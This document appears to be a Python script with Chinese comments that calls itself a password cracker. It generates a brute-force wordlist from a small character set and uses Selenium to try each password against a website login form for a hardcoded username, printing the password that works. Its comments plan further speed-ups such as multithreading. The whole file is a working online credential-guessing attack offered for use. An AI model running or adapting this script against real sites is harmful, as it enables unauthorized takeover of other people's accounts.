# -*- coding: UTF-8 - # 破解密碼程序。通過循環輸入賬號密碼嘗試登錄網站,並記錄相關賬號密碼 # 目前問題:由於知識有限,第一次輸入密碼后,密碼輸入框中的數據無法清除。 # 導致輸入的密碼數據累積。破解時,每次需要重新打開網頁,比較費時 # 待優化: # 1.嘗試調用js的方法,清除輸入的數據 # 2.查找資料,繼續查找清除已輸入的內容的方法 # 3.可以嘗試采用多線程進行嘗試登錄,縮短破解時間 from selenium import webdriver import time class url_login(object): def __init__(self, url, username, password): self.url = url self.username = username self.password = password def surf_web(self): for i in self.password: driver = webdriver.Chrome("D:\Program Files (x86)\python\chromedriver.exe") driver.get(self.url) time.sleep(1) user = driver.find_element_by_name('username') user.clear() user.send_keys(self.username) password1 = driver.find_element_by_name(r"password") password1.clear()#暫時無法清除上次輸入的內容,因此,每次都關閉driver,並循環打開,叫費時間,待優化 password1.send_keys(i) button = driver.find_element_by_class_name(r"login-btn") button.click() print(button) time.sleep(1) try: errordata = driver.find_element_by_class_name('error-text') driver.close() except: print('ok,the right code is:', i) break class code_txt(object): def __init__(self): self.char = ['a', 'b', 'c', 'A', 'B', 'C', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '.'] def code_text(self, datalist0): datalist = [] if len(datalist0): for i in datalist0: for k in self.char: datalist.append(i + k) else: datalist = self.char return datalist def code_textnum(self, datalist, num): # 生成一個num長度的密碼本,並保存本地文件 while 1: if num: datalist = self.code_text(datalist) num -= 1 else: f = open('code.txt', 'w') for i in datalist: f.write(i) f.write('\n') f.close() return datalist def code_textread(self, file): # 生成一個num長度的密碼本,並保存本地文件 data = [] with open(file, 'r')as f: for i in f.readlines(): data.append(i.replace('\n', '')) return data if __name__ == "__main__": username = 'A190401158' url = "http://*******" codetext = code_txt() datalist = codetext.code_textread('code.txt') # 讀取密碼本數據,形成列表 login = url_login(url, username, datalist) login.surf_web()
